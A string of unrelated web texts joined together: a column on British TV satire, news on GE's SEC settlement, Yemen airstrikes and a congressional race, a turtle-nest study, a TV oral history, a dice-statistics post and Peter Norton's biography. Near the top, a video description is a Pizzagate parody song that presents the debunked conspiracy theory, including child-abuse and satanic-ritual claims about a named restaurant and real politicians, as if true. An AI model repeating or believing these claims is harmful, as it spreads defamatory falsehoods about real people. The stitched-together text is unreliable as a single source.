Then there are the Americans. As our capacity to watch TV widens so does our exposure to programmes across the world. Since HIGNFY began a new generation of TV watchers have learnt their satire from the furious likes of John Stewart and Stephen Colbert. It’s no longer enough to watch Hislop chummily josh with Clarkson about his lost BBC job when you can tune in and watch John Oliver excoriate both British and American politicians on Last Week Tonight.
That the British Oliver honed his skills on the American Daily Show under Stewart rather than over here is a terrible shame. For the one thing that might save HIGNFY is an overhaul and some kind of acknowledgement that satire, while not necessarily a young man or woman’s game, does need to be driven by some genuine anger and not just the cosy desire to josh around with your establishment mates. It’s possible, just about, to imagine a sharper version of the show with Hislop and Merton released from their duties and new presenters, as unknown as they once were, taking their place. Possible but sadly unlikely. Instead what seems more probable is that HIGNFY will trundle on with ever diminishing returns. Will Self was wrong in 2007: British satire isn’t dead so much as sleeping. Someone give me a nudge when it wakes up.
This video was hosted on Vidme, which is no longer in operation. However, you might find this video at one of these links:
Video title:
That's Immoral (That's Amore parody) #Pizzagate
Upload date:
August 8 2017
Uploaded by:
FrogRock
Video description:
This song is a parody of the Brooks/Warren classic "That's Amore" which was made famous by Dean Martin. I dedicate this to all the people out there investigating Pizzagate. In Washington where Moloch's king, emails were leaked. Here's what they say... When the truth hits your plate like a big Pizzagate, that's immoral. When you're up to no good in the capital hood, that's immoral. So we've heard many a strange thing of a seedy ring gathering at Comet Ping Pong, and they play dominos on cheese, demons to appease, while the MSM says nothing's wrong. When hotdogs make you drool like a Satanic fool, that's immoral. When you're into a thing known as Spirit Cooking, you're in deep. When your art on display is inspired by Jeffrey Dahmer, and such things aren't explained but somehow Russia's blamed, that's immoral. When the truth hits your plate like a big Pizzagate, that's immoral. When you ride to excess the Lolita Express, that's immoral. Something's wrong, look at Bubba Bill, he looks kind of ill since Trump mentioned the rape case. And it's hard to sell the routine that you're squeaky clean when a fly lands on your face. When pizza makes you drool and you've got kids in the pool, that's immoral. When it's youth you desire like a psychic vampire, you're a beast. And when wealth's not enough, you can try Transyuggothian magic, but you'll look like a jerk with a perverted quirk that's immoral.
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GE settled civil fraud charges brought by the Securities and Exchange Commission, which alleged that the company used improper accounting methods that allowed it to boost its reported earnings and avoid disclosing negative results.
The alleged violations included the company's accounting for certain loans and sales of trains and aircraft parts, the SEC said, and enabled GE to boost earnings by hundreds of millions of dollars.
"GE bent the accounting rules beyond the breaking point," Robert Khuzami, director of the SEC's Division of Enforcement, said in a statement. "Overly aggressive accounting can distort a company's true financial condition and mislead investors."
As is customary with civil settlements, GE did not admit or deny the allegations. "We have concluded that it is in the best interests of GE and its shareholders to resolve this matter and put it behind us on the basis announced today," the company said in a statement.
The SEC complaint, filed in federal court in Connecticut, alleged that GE met or surpassed analysts' earnings estimates every quarter from 1995 through 2004. A company's shares will often fall if it misses these estimates.
Four separate times in 2002 and 2003, GE executives signed off on accounting decisions that were not in compliance with the rules for how public companies must report their finances, the SEC said. Two times, the executives were committing outright fraud, and on the other two they were negligent, the agency claimed.
In one instance, the accounting changes allowed GE to avoid falling short of analysts' expectations, the agency said.
The SEC did not name the executives involved.
The alleged accounting violations ranged widely.
One involved an inappropriate application of accounting rules to certain short-term loans the company received, allowing it to book $200 million in additional profits.
Another involved improper accounting for sales of commercial aircraft engine spare parts, boosting earnings by $585 million.
A third involved reporting sales of trains that hadn't yet occurred, accelerating $370 million in revenue.
And the fourth concerned accounting for financial instruments the company invested in. The SEC did not specify a price tag associated with this violation.
There are roughly 700 million dogs around the world, and about 80 percent of them are village dogs that aren’t confined to houses or yards. Left to fend for themselves, these dogs often prey on wild animals such as reptiles. At some beaches, more than half of the sea turtle nests have been plundered by dogs.
In a recent study, researchers focused on the problem of nest scavenging at Colola Sanctuary, Mexico, where eastern Pacific green turtles, olive ridley turtles, and leatherback turtles lay eggs. The team tracked the movements of 19 dogs with radio-collars and observed their behaviour on the beach. The researchers also asked the owners how much they fed their dogs, then calculated the metabolic energy per kilogram of body weight that each dog received from its daily meals of corn tortillas.
Nine of the dogs raided sea turtle nests, the researchers report in Animal Conservation. Dogs that ate turtle eggs got about 36 percent less metabolic energy per kilogram of body weight from their corn tortillas than the dogs that didn’t eat eggs, suggesting that the nest scavengers weren’t getting enough food at home. And 39 percent of the owners had fed their dogs turtle eggs or egg shells, perhaps giving their pets an early taste for this protein-rich snack.
Since the dogs visited the beach mainly during the cooler night and early morning hours, owners could protect sea turtle nests by confining their animals from 9 PM to 6 AM, the team suggests. And giving the dogs bigger meals could keep them satisfied enough to leave the turtle eggs alone. — Roberta Kwok | 17 July 2014
Source: Ruiz-Izaguirre, E. et al. 2014. Roaming characteristics and feeding practices of village dogs scavenging sea-turtle nests. Animal Conservation doi: 10.1111/acv.12143.
The court has equated Santhara with suicide while deciding on a petition which likened it to sati.
The Jain community reacted with outrage. Jain studies scholar Manish Modi told dna, "It is deeply disappointing to hear of this judgement. Santhara or Sallekhana is an integral practice, custom and tradition of the Jain religion and has been so for the past thousands of years."
According to him, "There is enough scriptural evidence in most ancient Jain texts composed in Prakrit, Sanskrit, Apabhramsha, Tamil, Braj, Dhundhari, Kannada, Marathi, Maru Gurjar, Gujarati etc. to show that Sallekhana was considered an ideal way of shedding the mortal coil. From ancient times till today, many Jain ascetics as well as lay followers have given up their body through sallekhana/santhara with faith in the scriptures."
Calling the opposition to this religious practice a vilification, he said: "More can be said once the judgement is read in detail but one wonders if the opposition to the practice is part of a larger conspiracy to subvert minority religions in India."
"Whether it's the Christmas controversy with which the Centre tried to needle the Christian community or the Maharashtra government's decision to ban beef, which was clearly done to target Muslims, it seems like its achche din only for the majority community," said a senior Jain monk. "It's like they want to browbeat us all minorities into accepting Hinduism and its way of life," he said.
Others like Supreme Court advocate Rishabh Sancheti told dna how his phone has been ringing continuously since the judgment. "I have received several calls from across the community, seeking to challenge the decision. The outcome of the case comes as a shock to anyone who knows the core values of Jainism. Prima facie, the outcome does not appear to be correct," he said.
Despite its historical and religious significance, Santhara has been opposed by activists, citing abuse and coercion. Among them is Jaipur-based lawyer Nikhil Soni, who filed the petition.
This native of Churu in Rajasthan – reputed as the world's Santhara capital for its highest per capita incidence of the practice in recent history – recounted how, for years, he quietly watched many such fasts-unto-death. That was till September 2006, when Soni heard of one Bimla Devi being coerced into Santhara by her family.
"Diagnosed with terminal cancer, the elderly Bimla Devi was too weak and depressed to protest as her relatives went about publicly announcing 'her decision'. In her final hours, when she started screaming in a last-ditch effort for food and water, her cries were drowned out by loud bhajans sung to the accompaniment of high-decibel dholaks," he said.
"Bimla Devi's case convinced me that Santhara is suicide, masquerading as a religious practice wrapped in the mantle of hoary tradition. At its worst, Santhara came across as nothing but ritual murder, devised to rid a family of the economic burden of caring for its elderly, seen as a burden on the family," he said.
Santhara, the film
Mumbai-based journalist-filmmaker Shekhar Hattangadi has brought the focus sharply to this religion with his documentary Santhara (which won awards at both Bangalore and Kolkata short film festivals). He said, just like his film, he would not want to take sides for or against the judgement. This visiting faculty at two Mumbai law colleges, explains: "Santhara, for me, is a classic example of the challenge that all faith-based societies face as they adopt modern, secular norms of governance, and the challenge is to reconcile individual freedom and personal liberty as well as a minority community's religious rights on the one hand, and, on the other, with the need for state intervention in matters of religion."
He pointed out how the HC has gone by the Supreme Court ruling in the Gian Kaur case of 1996. "The apex court had then ruled that Right to Life cannot mean Right to Death. The Rajasthan HC seems to have gone by that ruling," he said.
This story first appeared in the Oct. 18 issue of The Hollywood Reporter magazine.
When Rob McElhenney started pounding the pavement back in 2004 with the pilot for It's Always Sunny in Philadelphia, he was not aware he was pitching what would become one of TV's most successful underdog stories. FX's bitingly satirical comedy, about five hapless friends without a moral compass, was one of the first two in-house productions the cable network commissioned. It had a long road before cult status parlayed it into a mainstream darling -- now in its ninth season and anchoring newly launched spinoff cable net FXX.
Sunny, which premiered in summer 2005 and was set to air its 100th episode Oct. 9, had the unfortunate obstacle of debuting in the time slot immediately following short-lived eating disorder comedy Starved. Low ratings demanded do-or-die stunt casting, and by a stroke of good fortune, Emmy-winning TV icon Danny DeVito joined as a regular for the sophomore run.
Streaming deals on Hulu and syndication on Comedy Central saw audiences grow -- prompting sold-out national tours consisting of live re-enactments of season four's musical episode "The Nightman Cometh" and big three-season renewals.
Now approaching the 10-year mark, creator McElhenney and fellow stars and executive producers Charlie Day and Glenn Howerton -- as well as co-star and McElhenney's wife Kaitlin Olson -- look to the already greenlighted 10th season with the very real option of choosing to leave Philly on their own terms.
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THE PILOT
McElhenney ("Mac" McDonald): Our pitch was myself, an agent and our manager just going around and popping in the DVD and seeing if people laughed. I think we hit seven or eight networks in two days, and we ultimately got offers from four. When we took it to Fox, they did not get it. It was the only room that did not laugh once. I was just looking over at the executive who had a stone face through the entire thing. When it was over, he stood up and said, "OK, thanks." That was the end of it.
Day (Charlie Kelly): They had just shelled out a lot of money to make The Ortegas, so there was a lot of tension over there.
McElhenney: A lot of the specifics from that pilot we shot are different than what made it to air, but the tone has always stayed the same. We fought from the very beginning to keep the integrity of the tone.
Howerton (Dennis Reynolds): People are always asking us how to get their foot in the door, and we always encourage people to go out and shoot anything they can.
Day: And none of us was really even a writer when we started.
Olson ("Sweet Dee" Reynolds): It was like my 300th pilot season, and I was so frustrated with the stuff that I was reading. I didn't find things very funny, and then I wouldn't even get them. This was for absolutely no money on a basic cable network I'd barely heard of, and I didn't even care. I just wanted it so badly.
STORY: TV Ratings: 'Always Sunny,' 'The League' Lose Little Audience in FXX Move
STAYING ON THE AIR
McElhenney: We knew that no one was watching the show, and the network said that we needed to bring in someone with cachet to draw attention. They didn't really have the marketing budget at the time to blanket the airwaves.
Day: Their plan was to put their marketing money into Starved and hope that people stuck around and checked out our show afterward -- which, if you'd seen Starved, was a lot to ask.
McElhenney: We bounced a few names around, but Danny just made a lot of sense. When I went to his house to talk about it, his kids ended up being huge fans of the show and he was good friends with John Landgraf from when Landgraf ran television at [DeVito's] Jersey Films. Danny kept asking all of these questions, and I was really winging it with the character -- we had a rough idea -- so after about half an hour, he thanked me and I left. It wasn't 10 or 15 minutes before I got a call from Landgraf saying Danny was in.
Howerton: Our season-two pickup was predicated on if we could bring in that high-level name. Not only did it mean that we were getting Danny on the show, it meant we still had a show.
Olson: We were still on this teeny-tiny stage in our minuscule dressing rooms, and all of a sudden we were doing scenes with Danny DeVito. The idea of it was surreal, but in practice it became very normal very quickly.
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CULT STATUS
McElhenney: Whenever we got onto Hulu, that was when it dawned on me that the show was popular. We became this show that people could pass on to each other. And from there, we just saw the ratings move up and up.
Day: It was the live tour for me. I would stop in restaurants and airports and see that it was getting around, but when we were selling out the Beacon Theatre in 14 minutes and standing out there in front of 4,000 screaming kids, that's when you realize, "Oh, wow, this has really touched a nerve."
Howerton: The first time we went to Comic-Con, we were terrified because they put us in this massive hall. We knew it would look lame when we didn't fill the space. And we showed up, the place was packed to the brim.
McElhenney: We did a big DVD release for the first and second season, and I remember going to some event in New York and there was barely anybody there. And the only people that were there were there for Danny and holding old Taxi DVDs. And then within three years, our DVDs were outselling anything live action on Fox.
Olson: There are still plenty of people who will say to me, "Oh, you're on a show? What's it called? Oooooh, I hear that's supposed to be funny." But definitely when I'm out with Rob, there's a bit more excitement. It kind of blows their minds that we're together in real life, and then they want to talk about it. Meanwhile, we just celebrated our five-year anniversary. We're used to it.
STORY: 'It's Always Sunny': Glenn Howerton Talks Fatherhood, Diddy and Dennis (Q&A)
PUSHING THE ENVELOPE
Day: I've got to say, I'm more surprised by what people get away with on dramas. People get their face shot off and cut in half. That's why none of this stuff in a comedy seems shocking to me. It's always social commentary and tongue in cheek. We showed Danny DeVito's butt. So what? I saw a little kid get poisoned with ricin and nobody seems to care. I don't find what we do shocking. Edgy, sure, but I think it's just satire.
Olson: I realize we discuss subjects that don't normally get discussed, but I'm never concerned that anything's not going to make it to air. FX has always supported the voice and encourages us to push things even further.
Howerton: We were disappointed that there wasn't more negative feedback. In the first season, we were doing all of this stuff about molestation and abortion. And we didn't do it to get a rise out of people. We did it because we thought that's what's going on in the world and this is the kind of shit we think is funny. These were issues that people tend to get a little stirred by.
Day: It's more nerve-racking because you say to yourself, "Is nobody watching? Does nobody care?"
McElhenney: I think the reason that we don't hear too much about it is because everybody kind of gets it.
Howerton: It's like South Park. I think we also get away with it because the characters are never rewarded. They're always losing. They always wind up in the same place they started in.
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ENDGAME
Olson: It's the perfect job. We have amazing writers, and I still get to add to the creativity of my character. I met my husband on this show. I had two kids here. I'm just enjoying it while it lasts. While we're shooting, it's strenuous 12- to 14-hour days, but give me a break, it's 2½ months of the year. Anyone can handle that.
McElhenney: As long as it's still fun and still funny to us, we'll keep doing it. Even if the network doesn't want to.
Day: I think we'll stop when FX runs out of money.
McElhenney: We're literally in 20 million fewer homes on FXX. The reaction has been rough from die-hard fans who don't get the channel in their cable package.
Howerton: It's available to them, but they have to upgrade. The majority of our fans are pretty young and battling student loans, so they're bummed. Eventually, it's our understanding that FXX will be in more homes.
Day: I think it's hard on FX, too. This is an effort they really wanted to take on, but it always comes with a downside. Hopefully, the audience finds it. But you can't blame us, it wasn't our idea.
McElhenney: We've bounced around some ideas about how to end the show, but Glenn, Charlie and I are really going to have to sit down and come up with one that pleases us and pleases the fans.
Howerton: There was a time when season nine might have been the last season -- and, interestingly enough, as important a decision as this is, the three of us came to an idea of how to end the show that we all really liked a lot and are leaning toward. That's not to say it will be the one we end up with.
McElhenney: We also did it very quickly, which was shocking to us, because we can never agree on anything that big.
Games operate on components of luck and skill at their basest components. Games of pure luck amount to flipping a coin and deciding a winner. Games of pure skill tend to run dry as asymmetry in player ability makes itself clear. By incorporating both elements, a game can be enjoyable in a competitive sense and accessible to a wider play group. To embody luck (and keep it under reigns) Privateer Press employs a d6 system. Two six sided dice yield and average outcome of 7 and a standard deviation of 2.45. This means that 68.2% of your dice outcomes will fall between 7 plus or minus 2.45. That’s not too bad. You have a good guess at what you’ll roll (7) and an idea of when you’re lucky(>7) or not (<7).
Some powerful spells and effects in the game tinker with dice statistics. The most notable examples include; Signs and Portents and Star Crossed. These two not only change your average outcome, but also impact the standard deviation of the rolls. Here’s a graph on the effect of Signs and Portents on a boosted to roll.
First off, the average has shifted from 10.5 to 12.24. Yes. Signs and Portents is an amazing spell! The additional power of the effect is that it reduces the variability of your outcomes. Look at how the red curve is narrower. This means that dice results are clustered more toward the average result. In addition to rolling a higher average, you’ll be more consistently rolling a 12.24. When you’re making a strategically important move you need it to happen, consistency is a big deal.
I’ve focused in on these two spells, but there are similar consequences to just boosting a roll. You are going to hit 10.5 more often then 7 when you boost a roll because the additional die lessens the variability of your outcomes. I’ve included a little chart of common dice combinations, averages and standard deviations for your perusal. Enjoy!
Dice Average Std Dev 1d6 3.5 1.87 2d6 7 2.45 3d6 drop lowest 8.46 2.22 3d6 drop highest 5.54 2.22 3d6 10.5 2.96 1d20 10.5 5.92 4d6 drop lowest 12.24 2.85 4d6 drop highest 8.76 2.85 4d6 14 3.34
When Fox News host Gretchen Carlson interviewed Holocaust survivor Elie Wiesel in mid-December, the conservative network made the unfortunate mistake of identifying him as a “Holocaust Winner” on the lower-third portion of the screen.
The graphics department most likely accidentally combined “Holocaust Survivor” and “Nobel Prize Winner.”
Wiesel was awarded the Nobel Prize in 1986 for his “practical work in the cause of peace.” He is also the author of 57 books.
Most recently, Wiesel has agreed to act as honorary chair of the Canadian Institute of the Study of Antisemitism (CISA).
The Fox News graphics department has a history of identifying scandal-ridden Republicans as Democrats. The blog Down with Tyranny notes that they’ve done it with Mark Foley, Larry Craig, John Ensign and Mark Sanford.
Liberal watchdog group Media Matters has a treasure trove of Fox News chyron screw-ups.
For example, in 2009, they labeled Democratic strategist Michael Brown as the former head of Homeland Security’s Federal Emergency Management Agency (FEMA).
In June, they mistakenly identified Rep. Trent Franks (R-AZ) as a senator. Earlier in the year, an on-screen graphic misspelled “president” as “presiddent.”
Apparently frustrated by all the mistakes, in 2009, the network announced a zero tolerance policy for errors.
“Effective immediately, there is zero tolerance for on-screen errors,” according to a memo released by Fox News management. “Mistakes by any member of the show team that end up on air may result in immediate disciplinary action against those who played significant roles in the ‘mistake chain,’ and those who supervise them.”
The mistake comes at the 35 second mark in the following video.
This video is from Fox News’ Fox & Friends, broadcast Dec. 14, 2010.
Declining attendance was an issue for the Nashville Predators several years ago, but the NHL franchise is no longer skating on thin ice. In fact, they are an excellent example of how an ownership change and recommitment to its core values can turn things around.
When the Predators debuted in the 1998-98 season, average attendance was 16,194 per game. Four short years later, that average had fallen nearly 3,000 per game to 13,228. And a year later, in 2003-04, it dipped to a low of 13,157.
Then the NHL locked out its players when the collective bargaining agreement expired and eventually canceled the 2004-05 season.
In 2007, then-owner Craig Leopold announced plans to sell the team and Powers Management (which operates the arena) to a local group led by businessman David Freeman.
Ever since, the franchise has been on an uptick. The naming rights deal for Bridgestone Arena was sealed in 2010, and the deal was extended a year later through 2019.
And beyond hockey, Bridgestone Arena has taken off, currently ranking as the world’s eighth-busiest venue for the first half of 2015 and No. 2 in North America.
It serves as permanent home of the Southeastern Conference men’s and women’s basketball tournaments through 2026. It hosted the NCAA Women’s Final Four in 2014, will host the NHL All-Star weekend next January and brings in major concerts and other events.
The NHL All-Star Weekend will shine yet another international spotlight on Nashville and is expected to generate a $10 million economic impact for the Nashville community.
“Our organizational goal is to operate and maintain Bridgestone Arena as the No. 1 sports and entertainment facility in North America with a Stanley Cup champion Nashville Predators team as the centerpiece,” says Gerry Helper, the Predators’ senior vice president of hockey communications and public relations.
“It is with that goal that our staff is fully committed to delivering the best possible experience, environment and customer service to each and every guest when they visit Bridgestone Arena, be it for a Predators game, a concert, a family show or basketball game.
Saudi-led coalition warplanes carried out two strikes on Saleh’s residence in central Sanaa, eyewitnesses told Anadolu Agency.
The bombardment of Saleh’s home could be heard in distant areas in the capital and many buildings were rocked as a result, witnesses said.
It is yet to know whether the new airstrikes caused any casualties.
Earlier Sunday, a security source told Anadolu Agency that coalition fighter jets carried out three strikes targeting Saleh’s home.
The house was damaged as a result on the bombardment and it remains unknown if there has been any casualties, the source said.
A local news agency linked to Saleh, for its part, said that Saudi warplanes launched three airstrikes on the home of the former Yemeni president, which left some neighboring residents with injures, but asserted that Saleh and his family were not harmed.
In a Facebook statement, Saleh said none of his family members were hurt as a result of the strikes, adding that “every Yemeni killed by the [Saudi-led] aggression is a family member of mine.”
Saleh, a foe-turned-ally for the Shia Houthi group, went on to urge the coalition to “find a solution that stops the killing and destruction of the Yemeni people…and let us resolve our differences through dialogue.”
Fractious Yemen has remained in turmoil since last September, when the Houthis overran capital Sanaa, from which they sought to extend their influence to other parts of the country.
On March 25, Saudi Arabia and its Arab allies began an extensive military campaign targeting Houthi positions across Yemen.
Riyadh says its air campaign comes in response to appeals by Yemeni President Abd Rabbuh Mansour Hadi for military intervention against the Houthis.
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“Dan is a true patriot who will fight for liberty and our Constitution when he arrives in Congress,” the Kentucky senator said in a statement issued out by the Bongino campaign. “Our U.S. Congress is in is desperate need of principled, constitutional conservatives who will fight for smaller government, a balanced budget, and the protection of our liberties.”
The 41-year-old Bongino is a former U.S. Secret Service agent who recently entered the GOP primary contest to succeed Republican Rep. Curt Clawson, who announced he will not seek re-election in CD 19 this fall. Paul endorsed Clawson when he ran for the seat in 2014.
Paul’s endorsement comes on the heels of Utah Sen. Mike Lee’s endorsement, which, according to the Bongino campaign, “clears a path for the candidate attracting tea party and constitutional conservative voters.”
“Dan believes in American exceptionalism,” said Lee in his endorsement of Bongino. “He has fought side-by-side with the grassroots from Day 1. He helped elect people like me to the Senate when the media and the elites did everything in their power to disparage the tea party. We need fighters like him in Congress — men of action, not men of words.”
Francis Rooney, the former ambassador to the Holy See and a longtime Bush family supporter, appears to the front-runner in the race. On Wednesday, Gov. Rick Scott made a rare endorsement in a contested Republican primary, announcing his support for Rooney. Both Scott and Rooney live in the same Port Royal neighborhood in Naples, as per FloridaPolitics.com’s Jenna Buzzacco-Foerster.
The film, which won the Audience Award at last week’s SXSW and premieres on Monday night in New York City, tells the story of the famed Mexican-American labor leader’s fight to unionize farm workers — he founded the United Farm Workers of America — and win better pay and conditions for the laborers picking grapes in the fields. Michael Peña plays Chavez in the movie, while America Ferrera plays his wife.
See video: President Obama and Zach Galifianakis Grill Each Other On ‘Between Two Ferns’
“The first thing would be ‘Please tweet about our film,’ because he has more followers than all of us together,” Luna joked, when asked what he’d tell President Obama should he get a moment with him. “But I really hope that this film raises awareness on the situation today in the fields. This struggle keeps happening. The struggle and fight of these people is still so much alive, and they deserve attention. Hopefully this film can draw attention, not just to farm workers but to all of those workers that today are feeding this country, that are building this country that deserve immigration reform.
“There’s more than 11 million workers today that are making America what it is and don’t share the same rights as those who are consuming the products or of those who are enjoying the fruits of their labor,” Luna added.
Also read: Jennifer Lopez, Rosario Dawson, Joseph Gordon-Levitt Among 276 Invited to Join Academy
Rosario Dawson, who portrays Chavez ally and renowned labor leader Dolores Huerta, will also attend; Huerta, however, is too busy to make the trip.
“I love the fact that we tried to have Dolores come, but she had already scheduled to do something in California,” Dawson said, laughing. “And she tried to get out of it and cancel it, but she’s just so fabulous that she couldn’t, so she’s not going to come with us to the White House, which I think is amazing.”
The film, which was produced by Participant Media and is being distributed by Pantelion, already screened in DC, during an event on Capitol Hill in February.
“We screened in front of many representatives and people from organizations,” Luna said, “and it was interesting to be standing there, introducing the film, looking at all these faces and all these people that are today in key positions, and realizing that they’re there because of this movement, because of them.”
Peter Norton (born November 14, 1943) is an American programmer, software publisher, author, and philanthropist. He is best known for the computer programs and books that bear his name and portrait. Norton sold his PC software business to Symantec Corporation in 1990.
Career [ edit ]
Norton was born in Aberdeen, Washington and raised in Seattle. He attended Reed College in Portland, Oregon, graduating in 1965. Before discovering microcomputers, he spent a dozen years working on mainframes and minicomputers for companies including Boeing and Jet Propulsion Laboratory. His earliest low-level system utilities were designed to allow mainframe programmers access to some previous RAM that IBM normally reserved for diagnostics. This foreshadowed his personal computer work, where he became known as a savvy author of low-level system utilities and reference books.
When the IBM PC made its debut in 1981, Norton was among the first to buy one. After he was laid off during an aerospace industry cutback, he took up microcomputer programming to make ends meet. One day he accidentally deleted a file. Rather than re-enter the data, as most would have, he decided to write a program to recover the information from the disk. His friends were delighted with the program and he developed a group of utility programs that he sold – one at a time – to user groups. In 1982, he founded Peter Norton Computing with $30,000 and an IBM computer.[2]
The company was a pioneer in DOS-based utilities software. Its 1982 introduction of the Norton Utilities included Norton's UNERASE tool to retrieve erased data from DOS disks. Norton marketed the program (primarily on foot) through his one-man software publishing company, leaving behind little pamphlets with technical notes at users group meetings and computer stores. A publisher saw his pamphlets, and saw that he could write about a technical subject. The publisher called him and asked him if he wanted to write a book. Norton's first computer book, Inside the IBM PC: Access to Advanced Features & Programming (Techniques),[3] was published in 1983. Eight editions of this bestseller were published, the last in 1999.[4] Norton wrote several other technical manuals and introductory computing books. He began writing monthly columns in 1983 for PC Magazine[5] and later PC Week magazine as well, which he wrote until 1987. He soon became recognized as a principal authority on IBM personal computer technology.
In 1984, Norton Computing reached $1 million in revenue, and version 3.0 of the Norton Utilities was released. Norton had three clerical people working for him. He was doing all of the software development, all of the book writing, all of the manual writing and running the business. The only thing he wasn't doing was stuffing the packages. He hired his fourth employee and first programmer, Brad Kingsbury, in July 1985. In late 1985, Norton hired a business manager to take care of the day-to-day operations.[6]
In 1985, Norton Computing produced the Norton Editor, a programmer's text editor created by Stanley Reifel, and Norton Guides, a TSR program which showed reference information for assembly language and other IBM PC internals, but could also display other reference information compiled into the appropriate file format. Norton Commander, a file managing tool for DOS, was introduced in 1986.
In September 1983, Norton started work on The Peter Norton Programmer's Guide to the IBM PC. The book was a popular and comprehensive guide to low-level programming on the original PC platform (covering BIOS and MS-DOS system calls in great detail). The first (1985) edition was nicknamed "the pink shirt book", after the pink shirt that Norton wore for the cover photo, and Norton's crossed-arm pose on that cover is a U.S. registered trademark.[7]
pink shirt book, with crossed-arm pose First edition of thebook, with crossed-arm pose
The second (1988) edition, renamed The New Peter Norton Programmer's Guide to the IBM PC & PS/2, again featured the crossed arms, pink shirt cover image. Richard Wilton co-authored the second edition. This was followed by the third (1993) edition of "the Norton book", renamed The Peter Norton PC Programmer's Bible, co-authored with Wilton and Peter Aitken. Later editions of Peter Norton's Inside the PC, a broad-brush introduction to personal computer technology, featured Norton in his crossed-arm pose on the cover, wearing a white shirt.
Norton Computing revenue rose to $5 million in 1986, $11 million in 1987, and $15 million in 1988. Its products won several utility awards, and it was ranked 136th on the 1988 Inc. magazine list of the 500 fastest-growing private companies in America, with 38 employees.[8] Norton himself was named "Entrepreneur of the Year" by Arthur Young & Co. (1988 High Technology Award Winner Greater Los Angeles Region)[9] and Venture magazine.
On April 12, 1989, Norton appointed Ron Posner chief executive of Norton Computing. Norton continued as chairman.[10] Posner's goal was to rapidly grow the company into a major software vendor. Soon after his arrival, Posner hired a new president, a new chief financial officer, and added a vice president of sales.[11]
In March 1990, Norton Computing released the Norton Backup program dedicated to backing up and restoring hard disks.[12] Norton Utilities for the Macintosh was launched in July.[13]
In August 1990, Norton sold his $25 million (1989 sales) Santa Monica, California based company to Symantec for $70 million.[14] Posner orchestrated the merger. Norton was given one-third of Symantec's stock, worth about $60 million, and a seat on Symantec's board of directors. The acquired company became a division of Symantec and was renamed Peter Norton Computing Group. About one-third of Norton Computing's 115 employees were laid off after the merger.[6] The Norton brand name lives on in such Symantec products as Norton AntiVirus, Norton 360, Norton Internet Security, Norton Personal Firewall, Norton SystemWorks (which now contains a current version of the Norton Utilities), Norton AntiBot, Norton AntiSpam, Norton GoBack (formerly Roxio GoBack), Norton PartitionMagic (formerly PowerQuest PartitionMagic), and Norton Ghost. Norton's image was used on the packaging of all Norton-branded products until 2001.
In 1996, Norton helped produce an edition of Brian Eno's Oblique Strategies cards for distribution to his friends and colleagues.
In 2002, Acorn Technologies lured Norton out of a 10-year business hibernation. Norton has a "significant investment" in the company and serves as Chairman of Acorn's board of directors.[15][16][17]
Norton is also chairman of eChinaCash, a company he founded in 2003. Posner is CEO.[18][19][20]
Personal life [ edit ]
Norton spent around five years in a Buddhist monastery in the San Francisco Bay area, during the 1970s.[21][22] In 1983, Norton married Eileen Harris, who grew up in Watts, California. They had two children, and lived in the Los Angeles area. In the summer of 1990 they enjoyed a visit to Martha's Vineyard and returned the following year with their children, purchasing an 1891 eight-bedroom Queen Anne house in Oak Bluffs. They bought and lived in a nearby home while initiating redesign of the main house. "My children are half-black, and we thought Oak Bluffs would give them an opportunity to summer around other kids like them," Norton said in a 2007 interview with Laura D. Roosevelt for Martha's Vineyard Magazine,[23] alluding to Oak Bluff's reputation as a popular summer spot among black people.[24]
In 2000, the couple divorced. Norton henceforth lived much of the time in New York. In February 2001, a fire caused by faulty wiring destroyed the Martha's Vineyard home, which had been restored in 1994; Norton had it rebuilt to almost exactly as it was before the fire. Meanwhile, he began a relationship with New York financier Gwen Adams who, being an "Islander" in origin herself, also lived in the area. Since then, the couple spend ten weeks of summer in the Corbin-Norton House annually, usually hosting several guests. In May 2007 they were married[25] in a church in nearby Edgartown; the ceremony was performed on the island by their neighbor, author and scholar Henry Louis Gates, Jr.[citation needed]
Philanthropy [ edit ]
Peter and Eileen founded the Peter Norton Family Foundation in 1989, which gives financial support to visual and contemporary non-profit arts organizations, as well as human social services organizations. Norton also serves on the boards of the California Institute of Technology,[26] California Institute of the Arts,[27] Reed College,[28] Crossroads School (Santa Monica, California),[29] and the Museum of Modern Art in New York (since 1999).[30] In 2003, Norton became the chairman of the board of MoMA PS1, which he also joined in 1999.[31] In 2004, he re-joined the Whitney Museum of American Art's board after leaving it in 1998. He also serves on the executive committee of the Guggenheim Museum’s International Directors’ Council, that museum's primary acquisition committee, and on the board of the Los Angeles County Museum of Art.
With his first wife, Norton accumulated one of the largest modern contemporary art collections in the United States.[31] Many of the pieces are on loan all over the world at any given time, and many were on view at Symantec Corporation. The foundation and the Norton Family Office are located in Santa Monica. ARTnews magazine regularly lists Norton among the world's top 200 collectors.
In 1999, Norton purchased letters written to Joyce Maynard by reclusive author J. D. Salinger for US$156,500. (Salinger had a year-long affair with Maynard in 1972 when she was 18.) Maynard said she was forced to auction the letters for financial reasons. Norton announced that his intention was to return the letters to Salinger.[32]
In 1999 Norton donated $600,000 to the Signature Theatre Company (New York City) which renamed its home Off Broadway theatre at 555 West 42nd Street to "Signature Theatre Company at the Peter Norton Space."[33] It maintained that name until the theatre moved to a new venue in 2012.
In March 2015, Norton's second major art donation project saw a substantial amount of his personal art collection go to museums around the globe, with the Rose Art Museum receiving 41 artworks ranging from prints, sculptures, photography and other mixed media.[34]
Books [ edit ]
Inside the IBM PC: Access to Advanced Features & Programming Techniques (1983)
The Peter Norton Programmer's Guide to the IBM PC (1985)
Visual Basic For Windows Versão 3.0, Tradução 3a.Edição Americana, Author: Steven Olzner/The Peter Norton Computing Group, Editora Campus, ISBN 85-7001-854-1
Peter Norton's Assembly Language Book for the IBM PC by Peter Norton, John Socha
Peter Norton's Intro to Computers 6/e by Peter Norton
Inside the IBM PC by Peter Norton
The Peter Norton Programmer's Guide to the IBM PC by Peter Norton
Peter Norton's Guide to UNIX by Peter Norton, Harley Hahn
Peter Norton's Introduction to Computers Fifth Edition, Computing Fundamentals, Student Edition by Peter Norton
Peter Norton's Guide to Visual Basic 6 by Peter Norton, Michael R. Groh
Peter Norton's DOS Guide Peter Norton's DOS Guide by Peter Norton
Advanced Assembly Language, with Disk by Peter Norton
Peter Norton's New Inside the PC by Peter Norton, Scott Clark
Complete Guide to Networking by Peter Norton, David Kearns
Peter Norton's Complete Guide to DOS 6.22 by Peter Norton
Peter Nortons Guide to Windows Programming with MFC: With CDROM by Peter Norton
PC Problem Solver by Peter Norton, Robert Jourdain
Peter Norton's Windows 3.1 Pow by Peter Norton
Peter Norton's Guide to Access 2000 Programming (Peter Norton (Sams)) by Peter Norton, Virginia Andersen
